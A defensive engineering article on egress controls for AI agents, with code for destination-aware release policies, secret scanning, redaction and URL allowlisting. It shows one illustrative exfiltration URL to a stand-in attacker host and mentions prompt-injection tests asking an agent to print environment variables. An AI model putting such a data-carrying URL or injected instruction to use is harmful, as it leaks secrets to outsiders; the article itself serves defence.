Skip to main content
Back to all articles
AI Engineering 7 min readUpdated August 31, 2026

Security Does Not End When the Agent Finishes Reasoning

An agent can obey its tool permissions and still leak secrets or sensitive data in the final response. This article adds a separate egress boundary for destination checks, secret detection, structured redaction, and policy-aware release.

By Salman Butt · Senior Full-Stack & Generative AI Engineer
#ai-security#egress-security#data-loss-prevention#ai-agents#guardrails#multi-tenancy#typescript#python
On this page

Most agent-security designs spend their attention on what goes *into* the model and what tools the model can call.

That is necessary. It is not sufficient.

An agent can use only authorized tools, read data it was legitimately allowed to access, and still produce an output that should never leave the system.

A support agent might include an internal access token copied from a diagnostic log. A coding assistant might paste a private environment variable into a pull-request comment. A multi-tenant analytics assistant might produce a table containing customer identifiers that were not needed for the requested answer. A deployment assistant could send internal hostnames to an external chat destination.

Those are egress failures.

I prefer to put an explicit release boundary after generation and before any output leaves the trust zone. The model produces a draft. Application code knows the destination, data policy, actor, tenant, and allowed output class. The draft is inspected and transformed or blocked before release.

The example here is an internal incident assistant that reads logs and monitoring data, then can post a summary to Slack, create a public status-page draft, or respond only inside the internal operations UI.

Destination changes the policy

The same text may be acceptable internally and unacceptable publicly.

I make destination a first-class input to the release decision:

TypeScript
type EgressDestination =  | { kind: "internal-ui" }  | { kind: "internal-slack"; channelId: string }  | { kind: "customer-email"; customerId: string }  | { kind: "public-status-page" };​type EgressContext = {  tenantId: string;  userId: string;  destination: EgressDestination;  runId: string;};

A status-page draft may ban customer IDs, internal service URLs, stack traces, and security details. An internal incident channel may allow service names but still block credentials and personal data.

Without the destination, “is this output safe?” is underspecified.

Keep the draft structured when possible

Free-form text is harder to inspect than typed fields.

For incident communication, the model can produce:

TypeScript
type IncidentDraft = {  title: string;  impact: string;  customerMessage: string;  internalNotes: string;  sourceArtifactIds: string[];};

The public renderer uses title, impact, and customerMessage. internalNotes never enters that rendering path.

This is a stronger control than telling the model “do not include internal notes in the customer-facing section.” The sensitive field can exist for internal workflows without being available to the external renderer at all.

A lot of egress security can be improved by reducing the amount of free-form cross-boundary text.

Scan secrets before any model output is released

Secret scanning is one of the cheapest deterministic checks.

I normally combine known-secret fingerprints with pattern-based detection. Do not log the discovered secret itself.

TypeScript
type SecretFinding = {  kind: "api-key" | "private-key" | "credential" | "known-secret";  start: number;  end: number;};​interface SecretScanner {  scan(text: string): Promise<SecretFinding[]>;}

A simple release gate can block rather than redact when the destination is external:

TypeScript
async function enforceSecretPolicy(  text: string,  scanner: SecretScanner,): Promise<void> {  const findings = await scanner.scan(text);​  if (findings.length > 0) {    throw new Error(      `Egress blocked: ${findings.length} secret-like value(s) detected`,    );  }}

For internally generated values, another strong control is to never place raw credentials in model context in the first place. Egress scanning is defense in depth, not an excuse to expose secrets upstream.

Redaction needs typed findings

Blanket regex replacement is risky because it can remove useful text or miss context-specific identifiers.

For data classes your application understands, represent findings explicitly:

TypeScript
type SensitiveFinding = {  type: "email" | "phone" | "customer-id" | "ip-address" | "internal-host";  value: string;  start: number;  end: number;};

A policy decides which types are permitted for this destination:

TypeScript
type EgressPolicy = {  allowedDataTypes: Set<SensitiveFinding["type"]>;  allowSourceLinks: boolean;  maxCharacters: number;};​function forbiddenFindings(  findings: SensitiveFinding[],  policy: EgressPolicy,): SensitiveFinding[] {  return findings.filter(    (finding) => !policy.allowedDataTypes.has(finding.type),  );}

The detection implementation may include deterministic parsers, DLP tooling, entity recognizers, or model assistance. The *release rule* should remain application-controlled.

Redact from the end of the string

If you do apply offset-based redactions, replacing earlier spans changes the positions of later spans.

Sort by descending offset:

TypeScript
function redact(  text: string,  findings: SensitiveFinding[],): string {  const ordered = [...findings].sort((a, b) => b.start - a.start);  let result = text;​  for (const finding of ordered) {    result =      result.slice(0, finding.start) +      `[REDACTED:${finding.type}]` +      result.slice(finding.end);  }​  return result;}

This assumes non-overlapping spans. A production detector should merge or resolve overlapping findings before redaction.

That is a mundane implementation detail, but output-security bugs often live in mundane details.

Python release policy

Python
from dataclasses import dataclassfrom enum import Enum​class Destination(str, Enum):    INTERNAL = "internal"    CUSTOMER_EMAIL = "customer-email"    PUBLIC_STATUS = "public-status"​@dataclass(frozen=True)class Finding:    kind: str    start: int    end: int​@dataclass(frozen=True)class Policy:    blocked_kinds: frozenset[str]    max_characters: int​​def enforce_output_policy(    text: str,    findings: list[Finding],    policy: Policy,) -> str:    if len(text) > policy.max_characters:        raise ValueError("Output exceeds destination size limit")​    blocked = [item for item in findings if item.kind in policy.blocked_kinds]    if blocked:        raise PermissionError(            f"Output contains {len(blocked)} blocked data element(s)"        )​    return text

The scanner and policy are separate. That makes it possible to improve detection without changing what the product considers allowed.

Exfiltration does not require the final answer to contain a visible secret.

An agent could place data in a query parameter or path sent to an external service:

Text
https://attacker.example/collect?value=...

For workflows that can generate outbound links, callbacks, webhooks, or email addresses, I validate the destination independently from the content.

TypeScript
function assertAllowedUrl(raw: string): URL {  const url = new URL(raw);  const allowedHosts = new Set([    "status.example.com",    "docs.example.com",  ]);​  if (url.protocol !== "https:" || !allowedHosts.has(url.hostname)) {    throw new Error("External URL is not on the egress allowlist");  }​  return url;}

Be careful with redirects, URL parsing edge cases, DNS behavior, and subdomain rules if this becomes a real SSRF/egress control. A string startsWith check is not sufficient.

Public output should not inherit internal citations automatically

A RAG assistant may cite internal documents by URL. That is useful inside the company and potentially a disclosure outside it.

Each source needs its own release classification:

TypeScript
type SourceReference = {  id: string;  title: string;  url?: string;  visibility: "public" | "internal" | "restricted";};

The renderer for a public destination can include only public references. It may still use internal evidence to draft a message if policy allows that, but it should not expose internal URLs or document titles by accident.

Citation rendering belongs after the destination policy, not before it.

Tool results should be minimized before generation too

Egress filtering catches the output after the model has seen the data. A stronger architecture minimizes sensitive input earlier.

If a tool only needs to tell the model whether a user is eligible for a refund, return:

JSON
{"eligible": true, "reason": "within-policy-window"}

instead of returning the customer's full account record, payment card metadata, address, and audit history.

Data minimization upstream reduces both accidental disclosure and prompt cost.

Egress is one layer in a larger information-flow design.

Model-based safety checks are useful as a secondary signal

Some content policies are semantic rather than pattern-based. A draft can reveal an incident root cause or internal security weakness without containing a predictable identifier.

A separate classifier or model judge can help detect those cases.

I still avoid making it the only gate for deterministic rules.

A good layering is:

  1. deterministic destination and schema checks;
  2. secret/data-class scanning;
  3. semantic policy classification where useful;
  4. release, redact, or route to human review.

The model may assist the policy engine. It does not get the final say over whether its own output can leave.

Block versus redact versus rewrite

Not every finding should be handled the same way.

Block when disclosure would be severe or the safe transformation is unclear: credentials, private keys, restricted identifiers.

Redact when the value can simply be removed without changing the meaning: an internal host name in an otherwise useful incident summary.

Rewrite when the message needs semantic transformation: convert “database shard eu-prod-17 lost replication” into an externally appropriate “some requests experienced elevated errors.”

For rewrite, I generate a new draft under a stricter policy and run the egress checks again. I do not assume the rewrite is safe because it was requested for safety.

Keep sensitive drafts out of ordinary logs

A blocked output is often the most sensitive output in the run.

Logging the full blocked text to make debugging easier defeats the point of the gate.

I log metadata instead:

  • run ID;
  • destination;
  • policy version;
  • finding types/counts;
  • model/version;
  • decision: blocked/redacted/review;
  • hashes or safe excerpts only when genuinely necessary.

Security telemetry should not become a shadow copy of the data you were trying to contain.

Egress rules are tenant-aware

One tenant may allow customer email addresses in internal support messages. Another may prohibit them outside a dedicated CRM interface.

Policies can be configured per tenant, product tier, region, or data classification, but the runtime should always receive the effective policy from trusted application state.

The model should not infer “this customer probably allows PII in Slack” from conversation context.

Test data flow, not only text quality

A useful security suite plants sensitive values in places the agent is allowed to read:

  • a fake API key in a log artifact;
  • a customer email in a database row;
  • an internal hostname in an incident trace;
  • a malicious instruction asking the model to print environment variables;
  • a private source URL in RAG evidence.

Then exercise multiple destinations.

Assertions should include:

  • restricted values never reach public/customer destinations;
  • internal-only source links are removed;
  • external URLs are allowlisted;
  • blocked output is not written to logs;
  • redaction leaves no partial token behind;
  • a rewrite is scanned again;
  • approval is required where policy demands it.

This is closer to an information-flow test than a prompt-injection test.

When a separate egress layer is unnecessary

If the assistant operates entirely inside one trusted environment, has access only to public/non-sensitive data, and cannot send output anywhere else, a full DLP-style pipeline may be overengineering.

The need appears as soon as the agent bridges trust zones: internal data to customer email, private code to public GitHub, support records to Slack, or privileged tool output to a third-party service.

Tool authorization answers whether the agent may *read or change* something.

Egress policy answers whether the information the agent now knows may *leave* through this destination.

Those are different controls, and production agents often need both.

KEEP READING

Related engineering notes